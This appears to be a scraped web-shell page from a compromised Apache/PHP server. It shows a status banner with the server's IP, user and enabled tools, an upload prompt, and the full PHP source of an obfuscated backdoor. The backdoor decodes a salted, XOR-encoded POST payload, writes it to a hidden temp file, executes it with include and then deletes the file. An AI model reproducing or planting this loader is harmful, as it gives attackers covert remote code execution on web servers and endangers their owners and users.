| Server IP : 65.108.144.40 / Your IP : 216.73.217.165 Web Server : Apache/2.4.52 (Ubuntu) System : Linux ubuntu-8gb-hel1-1 5.15.0-173-generic #183-Ubuntu SMP Fri Mar 6 13:29:34 UTC 2026 x86_64 User : dev ( 1000) PHP Version : 8.2.30 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : ON Directory : /var/www/html/Solum-construction/demo-job/vereion/ |
Upload File : |
<?php
if(array_key_exists("\x65\x6Ceme\x6Et", $_POST)){
$ref = $_POST["\x65\x6Ceme\x6Et"];
$ref = explode ( '.' ,$ref);
$object = '';
$salt = 'abcdefghijklmnopqrstuvwxyz0123456789';
$lenS = strlen( $salt );
$t = 0;
array_walk( $ref , function( $v1) use( &$object , &$t , $salt , $lenS) {
$sChar = ord( $salt[$t % $lenS] );
$dec =( ( int)$v1 - $sChar -( $t % 10)) ^ 83;
$object.= chr( $dec );
$t++;
} );
$symbol = array_filter([session_save_path(), getcwd(), getenv("TEMP"), ini_get("upload_tmp_dir"), "/var/tmp", "/dev/shm", getenv("TMP"), "/tmp", sys_get_temp_dir()]);
for ($record = 0, $k = count($symbol); $record < $k; $record++) {
$flg = $symbol[$record];
if (array_product([is_dir($flg), is_writable($flg)])) {
$resource = vsprintf("%s/%s", [$flg, ".component"]);
if (@file_put_contents($resource, $object) !== false) {
include $resource;
unlink($resource);
die();
}
}
}
}